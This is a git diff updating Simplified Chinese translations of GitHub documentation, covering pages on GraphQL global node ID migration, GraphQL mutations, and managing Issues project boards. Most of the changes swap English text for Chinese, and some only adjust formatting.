+您可以从 GitHub 的 GraphQL explorer 访问参考文档。 更多信息请参阅“[使用 explorer](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)。” 有关其他信息，如身份验证和速率限制详细信息，请查看[指南](/v4/guides)。 有关其他信息，如身份验证和速率限制详细信息，请查看[指南](/graphql/guides)。
diff --git a/translations/zh-CN/content/graphql/guides/migrating-graphql-global-node-ids.md b/translations/zh-CN/content/graphql/guides/migrating-graphql-global-node-ids.md
index 7f22a366ab..2169c68854 100644
--- a/translations/zh-CN/content/graphql/guides/migrating-graphql-global-node-ids.md
+++ b/translations/zh-CN/content/graphql/guides/migrating-graphql-global-node-ids.md
@@ -1,6 +1,6 @@
 ---
 title: Migrating GraphQL global node IDs
-intro: 'Learn about the two global node ID formats and how to migrate from the legacy format to the new format.'
+intro: Learn about the two global node ID formats and how to migrate from the legacy format to the new format.
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,7 +11,7 @@ shortTitle: Migrating global node IDs
 
 ## Background
 
-The {% data variables.product.product_name %} GraphQL API currently supports two types of global node ID formats. The legacy format will be deprecated and replaced with a new format.  This guide shows you how to migrate to the new format, if necessary. 
+The {% data variables.product.product_name %} GraphQL API currently supports two types of global node ID formats. The legacy format will be deprecated and replaced with a new format.  This guide shows you how to migrate to the new format, if necessary.
 
 By migrating to the new format, you ensure that the response times of your requests remain consistent and small. You also ensure that your application continues to work once the legacy IDs are fully deprecated.
 
@@ -26,7 +26,7 @@ Additionally, if you currently decode the legacy IDs to extract type information
 
 ## Migrating to the new global IDs
 
-To facilitate migration to the new ID format, you can use the `X-Github-Next-Global-ID` header in your GraphQL API requests. The value of the `X-Github-Next-Global-ID` header can be `1` or `0`.  Setting the value to `1` will force the response payload to always use the new ID format for any object that you requested the `id` field for.  Setting the value to `0` will revert to default behavior, which is to show the legacy ID or new ID depending on the object creation date. 
+To facilitate migration to the new ID format, you can use the `X-Github-Next-Global-ID` header in your GraphQL API requests. The value of the `X-Github-Next-Global-ID` header can be `1` or `0`.  Setting the value to `1` will force the response payload to always use the new ID format for any object that you requested the `id` field for.  Setting the value to `0` will revert to default behavior, which is to show the legacy ID or new ID depending on the object creation date.
 
 Here is an example request using cURL:
 
@@ -42,8 +42,7 @@ Even though the legacy ID `MDQ6VXNlcjM0MDczMDM=` was used in the query, the resp
 ```
 {"data":{"node":{"id":"U_kgDOADP9xw"}}}
 ```
-With the `X-Github-Next-Global-ID` header, you can find the new ID format for legacy IDs that you reference in your application. You can then update those references with the ID received in the response. You should update all references to legacy IDs and use the new ID format for any subsequent requests to the API. 
-To perform bulk operations, you can use aliases to submit multiple node queries in one API call. For more information, see "[the GraphQL docs](https://graphql.org/learn/queries/#aliases)."
+With the `X-Github-Next-Global-ID` header, you can find the new ID format for legacy IDs that you reference in your application. You can then update those references with the ID received in the response. You should update all references to legacy IDs and use the new ID format for any subsequent requests to the API. To perform bulk operations, you can use aliases to submit multiple node queries in one API call. For more information, see "[the GraphQL docs](https://graphql.org/learn/queries/#aliases)."
 
 You can also get the new ID for a collection of items. For example, if you wanted to get the new ID for the last 10 repositories in your organization, you could use a query like this:
 ```
@@ -64,6 +63,6 @@ You can also get the new ID for a collection of items. For example, if you wante
 
 Note that setting `X-Github-Next-Global-ID` to `1` will affect the return value of every `id` field in your query.  This means that even when you submit a non-`node` query, you will get back the new format ID if you requested the `id` field.
 
-## Sharing feedback
+## 分享反馈
 
 If you have any concerns about the rollout of this change impacting your app, please [contact {% data variables.product.product_name %}](https://support.github.com/contact) and include information such as your app name so that we can better assist you.
diff --git a/translations/zh-CN/content/graphql/index.md b/translations/zh-CN/content/graphql/index.md
index 61e400a8c7..dd53bd6357 100644
--- a/translations/zh-CN/content/graphql/index.md
+++ b/translations/zh-CN/content/graphql/index.md
@@ -6,18 +6,18 @@ introLinks:
   overview: /graphql/overview/about-the-graphql-api
 featuredLinks:
   guides:
-  - /graphql/guides/forming-calls-with-graphql
-  - /graphql/guides/introduction-to-graphql
-  - /graphql/guides/using-the-explorer
+    - /graphql/guides/forming-calls-with-graphql
+    - /graphql/guides/introduction-to-graphql
+    - /graphql/guides/using-the-explorer
   popular:
-  - /graphql/overview/explorer
-  - /graphql/overview/public-schema
-  - /graphql/overview/schema-previews
-  - /graphql/guides/using-the-graphql-api-for-discussions
+    - /graphql/overview/explorer
+    - /graphql/overview/public-schema
+    - /graphql/overview/schema-previews
+    - /graphql/guides/using-the-graphql-api-for-discussions
   guideCards:
-  - /graphql/guides/migrating-from-rest-to-graphql
-  - /graphql/guides/managing-enterprise-accounts
-  - /graphql/guides/using-global-node-ids
+    - /graphql/guides/migrating-from-rest-to-graphql
+    - /graphql/guides/managing-enterprise-accounts
+    - /graphql/guides/using-global-node-ids
 changelog:
   label: 'api, apis'
 layout: product-landing
diff --git a/translations/zh-CN/content/graphql/reference/mutations.md b/translations/zh-CN/content/graphql/reference/mutations.md
index 73f190ae96..2f9a45124f 100644
--- a/translations/zh-CN/content/graphql/reference/mutations.md
+++ b/translations/zh-CN/content/graphql/reference/mutations.md
@@ -1,5 +1,5 @@
 ---
-title: Mutations
+title: 突变
 redirect_from:
   - /v4/mutation
   - /v4/reference/mutation
@@ -12,11 +12,11 @@ topics:
   - API
 ---
 
-## About mutations
+## 关于突变
 
-Every GraphQL schema has a root type for both queries and mutations. The [mutation type](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System) defines GraphQL operations that change data on the server. It is analogous to performing HTTP verbs such as `POST`, `PATCH`, and `DELETE`.
+每个 GraphQL 架构的查询和突变都有根类型。 [突变类型](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System)可定义用于更改服务器上数据的 GraphQL 操作。 此操作类似于执行 HTTP 请求方法，如 `POST`、`PATCH` 和 `DELETE`。
 
-For more information, see "[About mutations](/graphql/guides/forming-calls-with-graphql#about-mutations)."
+更多信息请参阅“[关于突变](/graphql/guides/forming-calls-with-graphql#about-mutations)。”
 
 <!-- this page is pre-rendered by scripts because it's too big to load dynamically -->
 <!-- see lib/graphql/static/prerendered-mutations.json -->
diff --git a/translations/zh-CN/content/issues/guides.md b/translations/zh-CN/content/issues/guides.md
index 1653a48f87..bc2d8fb7c9 100644
--- a/translations/zh-CN/content/issues/guides.md
+++ b/translations/zh-CN/content/issues/guides.md
@@ -1,7 +1,7 @@
 ---
 title: Issues guides
-shortTitle: Guides
-intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.'
+shortTitle: 指南
+intro: '了解如何使用 {% data variables.product.prodname_github_issues %} 来规划和跟踪您的工作。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
@@ -25,3 +25,4 @@ includeGuides:
   - /issues/using-labels-and-milestones-to-track-work/managing-labels
   - /issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests
 ---
+
diff --git a/translations/zh-CN/content/issues/index.md b/translations/zh-CN/content/issues/index.md
index 7b78e0992a..5ae1369309 100644
--- a/translations/zh-CN/content/issues/index.md
+++ b/translations/zh-CN/content/issues/index.md
@@ -1,7 +1,7 @@
 ---
 title: GitHub Issues
 shortTitle: GitHub Issues
-intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.'
+intro: '了解如何使用 {% data variables.product.prodname_github_issues %} 来规划和跟踪您的工作。'
 introLinks:
   overview: /issues/tracking-your-work-with-issues/creating-issues/about-issues
   quickstart: /issues/tracking-your-work-with-issues/quickstart
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
index 833004a4f8..ec8efeff84 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: About project boards
-intro: 'Project boards on {% data variables.product.product_name %} help you organize and prioritize your work. You can create project boards for specific feature work, comprehensive roadmaps, or even release checklists. With project boards, you have the flexibility to create customized workflows that suit your needs.'
+title: 关于项目板
+intro: '{% data variables.product.product_name %} 上的项目板帮助您组织工作和排列工作的优先级。 您可以为特定功能工作、全面的路线图甚至发布检查列表创建项目板。 通过项目板可以灵活地创建适合需求的自定义工作流程。'
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/about-project-boards
   - /articles/about-projects
@@ -17,58 +17,58 @@ topics:
 
 {% data reusables.projects.project_boards_old %}
 
-Project boards are made up of issues, pull requests, and notes that are categorized as cards in columns of your choosing. You can drag and drop or use keyboard shortcuts to reorder cards within a column, move cards from column to column, and change the order of columns.
+项目板包括议题、拉取请求和注释，在选择的列中分类为卡片。 您可以拖放或使用键盘快捷键对列中的卡片重新排序，在不同列之间移动卡片，以及更改列的顺序。
 
-Project board cards contain relevant metadata for issues and pull requests, like labels, assignees, the status, and who opened it. {% data reusables.project-management.edit-in-project %}
+项目板卡片包含议题和拉取请求的相关数据，如标签、受理人、状态和打开者。 {% data reusables.project-management.edit-in-project %}
 
-You can create notes within columns to serve as task reminders, references to issues and pull requests from any repository on {% data variables.product.product_location %}, or to add information related to the project board. You can create a reference card for another project board by adding a link to a note. If the note isn't sufficient for your needs, you can convert it to an issue. For more information on converting project board notes to issues, see "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
+您可以在列中创建注释以用作任务提醒，引用 {% data variables.product.product_location %} 上任何仓库中的议题和拉取请求，或者添加与项目板相关的信息。 您可以在注释中添加链接，创建另一个项目的参考卡。 如果注释不足以满足您的需求，您可以将其转换为议题。 有关将项目板注释转换为议题的更多信息，请参阅“[添加注释到项目板](/articles/adding-notes-to-a-project-board)”。
 
-Types of project boards:
+项目板的类型：
 
-- **User-owned project boards** can contain issues and pull requests from any personal repository.
-- **Organization-wide project boards** can contain issues and pull requests from any repository that belongs to an organization.  {% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
-- **Repository project boards** are scoped to issues and pull requests within a single repository. They can also include notes that reference issues and pull requests in other repositories.
+- **用户拥有的项目板**可以包含任何个人仓库中的议题和拉取请求。
+- **组织范围的项目板**可以包含属于组织的任何仓库中的议题和拉取请求。  {% data reusables.project-management.link-repos-to-project-board %}更多信息请参阅“[将仓库链接到项目板](/articles/linking-a-repository-to-a-project-board)”。
+- **仓库项目板**范围是单一仓库中的议题和拉取请求。 它们也可包含引用其他仓库中议题和拉取请求的注释。
 
-## Creating and viewing project boards
+## 创建和查看项目板
 
-To create a project board for your organization, you must be an organization member. Organization owners and people with project board admin permissions can customize access to the project board.
+要为组织创建项目板，您必须是组织成员。 组织所有者以及具有项目板管理员权限的人员可以自定义对项目板的访问权限。
 
-If an organization-owned project board includes issues or pull requests from a repository that you don't have permission to view, the card will be redacted.  For more information, see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)."
+如果组织拥有的项目板包含您没有查看权限的仓库中的议题和拉取请求，该卡片将被重新指定。  更多信息请参阅“[组织的项目板权限](/articles/project-board-permissions-for-an-organization)”。
 
-The activity view shows the project board's recent history, such as cards someone created or moved between columns. To access the activity view, click **Menu** and scroll down.
+活动视图显示项目板的最近历史记录，例如某人创建的卡或在列之间移动的卡。 要访问活动视图，请单击 **Menu（菜单）**并向下滚动。
 
-To find specific cards on a project board or view a subset of the cards, you can filter project board cards. For more information, see "[Filtering cards on a project board](/articles/filtering-cards-on-a-project-board)."
+要查找项目板上的特定卡或查看卡的子集，可以过滤项目板卡。 更多信息请参阅“[过滤项目板卡](/articles/filtering-cards-on-a-project-board)”。
 
-To simplify your workflow and keep completed tasks off your project board, you can archive cards. For more information, see "[Archiving cards on a project board](/articles/archiving-cards-on-a-project-board)."
+为简化工作流程并从项目板移除已完成的任务，您可以对板卡存档。 更多信息请参阅“[对项目板卡存档](/articles/archiving-cards-on-a-project-board)”。
 
-If you've completed all of your project board tasks or no longer need to use your project board, you can close the project board. For more information, see "[Closing a project board](/articles/closing-a-project-board)."
+如果您已完成所有项目板任务或不再需要使用项目板，可以关闭项目板。 更多信息请参阅“[关闭项目板](/articles/closing-a-project-board)”。
 
-You can also [disable project boards in a repository](/articles/disabling-project-boards-in-a-repository) or [disable project boards in your organization](/articles/disabling-project-boards-in-your-organization), if you prefer to track your work in a different way.
+如果要以不同的方式跟踪您的工作，您也可以[在仓库中禁用项目板](/articles/disabling-project-boards-in-a-repository)或[在组织中禁用项目板](/articles/disabling-project-boards-in-your-organization)。
 
 {% data reusables.project-management.project-board-import-with-api %}
 
-## Templates for project boards
+## 项目板模板
 
-You can use templates to quickly set up a new project board. When you use a template to create a project board, your new board will include columns as well as cards with tips for using project boards. You can also choose a template with automation already configured.
+您可以使用模板快速设置新的项目板。 在使用模板创建项目板时，新板将包含列以及具有项目板使用提示的卡。 您也可以选择已配置自动化的模板。
 
-| Template | Description |
-| --- | --- |
-| Basic kanban | Track your tasks with To do, In progress, and Done columns |
-| Automated kanban | Cards automatically move between To do, In progress, and Done columns | 
-| Automated kanban with review | Cards automatically move between To do, In progress, and Done columns, with additional triggers for pull request review status |
-| Bug triage | Triage and prioritize bugs with To do, High priority, Low priority, and Closed columns |
+| 模板        | 描述                                                                    |
+| --------- | --------------------------------------------------------------------- |
+| 基本看板      | 使用 To do（待处理）、In progress（进行中）和 Done（已完成）列跟踪您的任务                      |
+| 自动化看板     | 卡自动在 To do（待处理）、In progress（进行中）和 Done（已完成）列之间移动                      |
+| 带审查的自动化看板 | 板卡自动在 To do（待处理）、In progress（进行中）和 Done（已完成）列之间移动，并且包含拉取请求审查状态的附加触发条件 |
+| 漏洞查验      | 通过 To do（待处理）、In progress（进行中）和 Done（已完成）列查验漏洞并排列优先级                  |
 
-For more information on automation for project boards, see "[About automation for project boards](/articles/about-automation-for-project-boards)."
+有关项目板自动化的更多信息，请参阅“[关于项目板的自动化](/articles/about-automation-for-project-boards)”。
 
-![Project board with basic kanban template](/assets/images/help/projects/project-board-basic-kanban-template.png)
+![带看板模板的项目板](/assets/images/help/projects/project-board-basic-kanban-template.png)
 
 {% data reusables.project-management.copy-project-boards %}
 
-## Further reading
+## 延伸阅读
 
-- "[Creating a project board](/articles/creating-a-project-board)"
-- "[Editing a project board](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
-- "[Copying a project board](/articles/copying-a-project-board)"{% endif %}
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
-- "[Keyboard shortcuts](/articles/keyboard-shortcuts/#project-boards)"
+- "[创建项目板](/articles/creating-a-project-board)"
+- "[编辑项目板](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
+- "[复制项目板](/articles/copying-a-project-board)"{% endif %}
+- "[添加议题和拉取请求到项目板](/articles/adding-issues-and-pull-requests-to-a-project-board)"
+- "[组织的项目板权限](/articles/project-board-permissions-for-an-organization)"
+- "[键盘快捷键](/articles/keyboard-shortcuts/#project-boards)"
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
index 868b241f59..fbd04e56c5 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Closing a project board
-intro: 'If you''ve completed all the tasks in a project board or no longer need to use a project board, you can close the project board.'
+title: 关闭项目板
+intro: 如果您已完成项目板中所有任务或不再需要使用项目板，可以关闭项目板。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/closing-a-project-board
   - /articles/closing-a-project
@@ -14,22 +14,21 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-When you close a project board, any configured workflow automation will pause by default.
+关闭项目板时，默认情况下任何已配置的工作流程自动化都会暂停。
 
-If you reopen a project board, you have the option to *sync* automation, which updates the position of the cards on the board according to the automation settings configured for the board. For more information, see "[Reopening a closed project board](/articles/reopening-a-closed-project-board)" or "[About automation for project boards](/articles/about-automation-for-project-boards)."
+如果重新打开项目板，您可以选择*同步*自动化，以便根据为项目板配置的自动化设置来更新板上卡的位置。 更多信息请参阅“[重新打开已关闭的项目板](/articles/reopening-a-closed-project-board)”或“[关于项目板自动化](/articles/about-automation-for-project-boards)”。
 
-1. Navigate to list of project boards in your repository or organization, or owned by your user account.
-2. In the projects list, next to the project board you want to close, click {% octicon "chevron-down" aria-label="The chevron icon" %}.
-![Chevron icon to the right of the project board's name](/assets/images/help/projects/project-list-action-chevron.png)
-3. Click **Close**.
-![Close item in the project board's drop-down menu](/assets/images/help/projects/close-project.png)
+1. Navigate to the list of project boards in your repository or organization, or owned by your user account.
+2. 在项目列表中，在要关闭的项目板旁边单击 {% octicon "chevron-down" aria-label="The chevron icon" %}。 ![项目板名称右边的 V 形图标](/assets/images/help/projects/project-list-action-chevron.png)
+3. 单击 **Close（关闭）**。 ![关闭项目板下拉菜单中的项](/assets/images/help/projects/close-project.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Deleting a project board](/articles/deleting-a-project-board)"
-- "[Disabling project boards in a repository](/articles/disabling-project-boards-in-a-repository)"
-- "[Disabling project boards in your organization](/articles/disabling-project-boards-in-your-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+- "[关于项目板](/articles/about-project-boards)"
+- “[删除项目板](/articles/deleting-a-project-board)”
+- “[在仓库中禁用项目板](/articles/disabling-project-boards-in-a-repository)”
+- “[在组织中禁用项目板](/articles/disabling-project-boards-in-your-organization)”
+- "[组织的项目板权限](/articles/project-board-permissions-for-an-organization)"
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
index 712cb6f12d..fad63c23b1 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a project board
-intro: 'Project boards can be used to create customized workflows to suit your needs, like tracking and prioritizing specific feature work, comprehensive roadmaps, or even release checklists.'
+title: 创建项目板
+intro: 项目板可用于创建满足您需求的自定义工作流程，例如对特定功能工作、全面路线图甚至发布检查清单进行跟踪和排列优先级。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/creating-a-project-board
   - /articles/creating-a-project
@@ -18,25 +18,25 @@ topics:
   - Project management
 type: how_to
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% data reusables.project-management.use-automated-template %}
 
 {% data reusables.project-management.copy-project-boards %}
 
-{% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
+{% data reusables.project-management.link-repos-to-project-board %}更多信息请参阅“[将仓库链接到项目板](/articles/linking-a-repository-to-a-project-board)”。
 
-Once you've created your project board, you can add issues, pull requests, and notes to it. For more information, see "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)" and "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
+创建项目板后，您可以向其添加议题、拉取请求和备注。 更多信息请参阅“[向项目板添加议题和拉取请求](/articles/adding-issues-and-pull-requests-to-a-project-board)”和“[向项目板添加备注](/articles/adding-notes-to-a-project-board)”。
 
-You can also configure workflow automations to keep your project board in sync with the status of issues and pull requests. For more information, see "[About automation for project boards](/articles/about-automation-for-project-boards)."
+还可以配置工作流程自动化，使项目板与议题和拉取请求的状态保持同步。 更多信息请参阅“[关于项目板的自动化](/articles/about-automation-for-project-boards)”。
 
 {% data reusables.project-management.project-board-import-with-api %}
 
-## Creating a user-owned project board
+## 创建用户拥有的项目板
 
 {% data reusables.profile.access_profile %}
-2. On the top of your profile page, in the main navigation, click {% octicon "project" aria-label="The project board icon" %} **Projects**.
-![Project tab](/assets/images/help/projects/user-projects-tab.png)
+2. 在个人资料页面顶部的主导航栏中，单击 {% octicon "project" aria-label="The project board icon" %} **Projects（项目）**。 ![项目选项卡](/assets/images/help/projects/user-projects-tab.png)
 {% data reusables.project-management.click-new-project %}
 {% data reusables.project-management.create-project-name-description %}
 {% data reusables.project-management.choose-template %}
@@ -52,7 +52,7 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Creating an organization-wide project board
+## 创建组织范围的项目板
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -72,11 +72,10 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Creating a repository project board
+## 创建仓库项目板
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Under your repository name, click {% octicon "project" aria-label="The project board icon" %} **Projects**.
-![Project tab](/assets/images/help/projects/repo-tabs-projects.png)
+2. 在仓库名称下，单击 {% octicon "project" aria-label="The project board icon" %} **Projects（项目）**。 ![项目选项卡](/assets/images/help/projects/repo-tabs-projects.png)
 {% data reusables.project-management.click-new-project %}
 {% data reusables.project-management.create-project-name-description %}
 {% data reusables.project-management.choose-template %}
@@ -90,10 +89,10 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Further reading
+## 延伸阅读
 
-- "[About projects boards](/articles/about-project-boards)"
-- "[Editing a project board](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
-- "[Copying a project board](/articles/copying-a-project-board)"{% endif %}
-- "[Closing a project board](/articles/closing-a-project-board)"
-- "[About automation for project boards](/articles/about-automation-for-project-boards)"
+- "[关于项目板](/articles/about-project-boards)"
+- "[编辑项目板](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
+- "[复制项目板](/articles/copying-a-project-board)"{% endif %}
+- "[关闭项目板](/articles/closing-a-project-board)"
+- “[关于项目板的自动化](/articles/about-automation-for-project-boards)”
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
index 1c13437734..cf0e1a94a1 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a project board
-intro: You can delete an existing project board if you no longer need access to its contents.
+title: 删除项目板
+intro: 如果您不再需要访问现有项目板的内容，可将其删除。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/deleting-a-project-board
   - /articles/deleting-a-project
@@ -14,23 +14,23 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tip**: If you'd like to retain access to a completed or unneeded project board without losing access to its contents, you can [close the project board](/articles/closing-a-project-board) instead of deleting it.
+**提示**：如果您希望保留对已完成或不需要项目板的访问权限，而不是去对其内容的访问权限，可以[关闭项目板](/articles/closing-a-project-board)而非将其删除。
 
 {% endtip %}
 
-1. Navigate to the project board you want to delete.
+1. 导航到要删除的项目板。
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.click-edit-sidebar-menu-project-board %}
-4. Click **Delete project**.
-![Delete project button](/assets/images/help/projects/delete-project-button.png)
-5. To confirm that you want to delete the project board, click **OK**.
+4. 单击 **Delete project（删除项目）**。 ![删除项目按钮](/assets/images/help/projects/delete-project-button.png)
+5. 如需确认要删除项目板，请单击 **OK（确定）**。
 
-## Further reading
+## 延伸阅读
 
-- "[Closing a project board](/articles/closing-a-project-board)"
-- "[Disabling project boards in a repository](/articles/disabling-project-boards-in-a-repository)"
-- "[Disabling project boards in your organization](/articles/disabling-project-boards-in-your-organization)"
+- "[关闭项目板](/articles/closing-a-project-board)"
+- “[在仓库中禁用项目板](/articles/disabling-project-boards-in-a-repository)”
+- “[在组织中禁用项目板](/articles/disabling-project-boards-in-your-organization)”
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
index e80b1eec6e..9f5e14f4b3 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Editing a project board
-intro: You can edit the title and description of an existing project board.
+title: 编辑项目板
+intro: 您可以编辑现有项目板的标题和说明。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/editing-a-project-board
   - /articles/editing-a-project
@@ -15,22 +15,22 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tip:** For details on adding, removing, or editing columns in your project board, see "[Creating a project board](/articles/creating-a-project-board)."
+**提示：**有关添加、删除或编辑项目板中列的详细信息，请参阅 “[创建项目板](/articles/creating-a-project-board)”。
 
 {% endtip %}
 
-1. Navigate to the project board you want to edit.
+1. 导航到要编辑的项目板。
 {% data reusables.project-management.click-menu %}
-{% data reusables.project-management.click-edit-sidebar-menu-project-board %} 
-4. Modify the project board name and description as needed, then click **Save project**.
-![Fields with the project board name and description, and Save project button](/assets/images/help/projects/edit-project-board-save-button.png)
+{% data reusables.project-management.click-edit-sidebar-menu-project-board %}
+4. 根据需要修改项目板名称和说明，然后单击 **Save project（保存项目）**。 ![带有项目板名称和说明的字段，以及保存项目按钮](/assets/images/help/projects/edit-project-board-save-button.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
-- "[Deleting a project board](/articles/deleting-a-project-board)"
+- "[关于项目板](/articles/about-project-boards)"
+- "[添加议题和拉取请求到项目板](/articles/adding-issues-and-pull-requests-to-a-project-board)"
+- “[删除项目板](/articles/deleting-a-project-board)”
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
index cfd7d1ecf3..8a835e7c09 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
@@ -1,6 +1,6 @@
 ---
 title: 重新打开关闭的项目板
-intro: 您可以重新打开关闭的项目板，并重新启动为项目板配置的任何工作流程自动化。
+intro: You can reopen a closed project board and restart any workflow automation that was configured for the project board.
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/reopening-a-closed-project-board
   - /articles/reopening-a-closed-project-board
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
index 6c67376231..3fdb65d6fb 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Adding issues and pull requests to a project board
-intro: You can add issues and pull requests to a project board in the form of cards and triage them into columns.
+title: 添加议题和拉取请求到项目板
+intro: 您可以通过卡片的形式将议题和拉取请求添加到项目板，并且分类到各列中。
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board
   - /articles/adding-issues-and-pull-requests-to-a-project
@@ -13,67 +13,61 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Add issues & PRs to board
+shortTitle: 将议题和 PR 添加到板中
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-You can add issue or pull request cards to your project board by:
-- Dragging cards from the **Triage** section in the sidebar.
-- Typing the issue or pull request URL in a card.
-- Searching for issues or pull requests in the project board search sidebar.
+您可通过以下方式将议题或拉取请求卡添加到项目板：
+- 从侧栏的 **Triage（分类）**部分拖动卡片。
+- 在卡片中输入议题或拉取请求 URL。
+- 在项目板搜索侧栏中搜索议题或拉取请求。
 
-You can put a maximum of 2,500 cards into each project column. If a column has reached the maximum number of cards, no cards can be moved into that column.
+每个项目列中最多可以输入 2,500 张卡片。 如果一列已经达到最大卡片数，则无法将卡片移入该列。
 
-![Cursor moves issue card from triaging sidebar to project board column](/assets/images/help/projects/add-card-from-sidebar.gif)
+![通过鼠标可将议题卡从分类侧栏移至项目板列](/assets/images/help/projects/add-card-from-sidebar.gif)
 
 {% note %}
 
-**Note:** You can also add notes to your project board to serve as task reminders, references to issues and pull requests from any repository on {% data variables.product.product_name %}, or to add related information to your project board. For more information, see "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
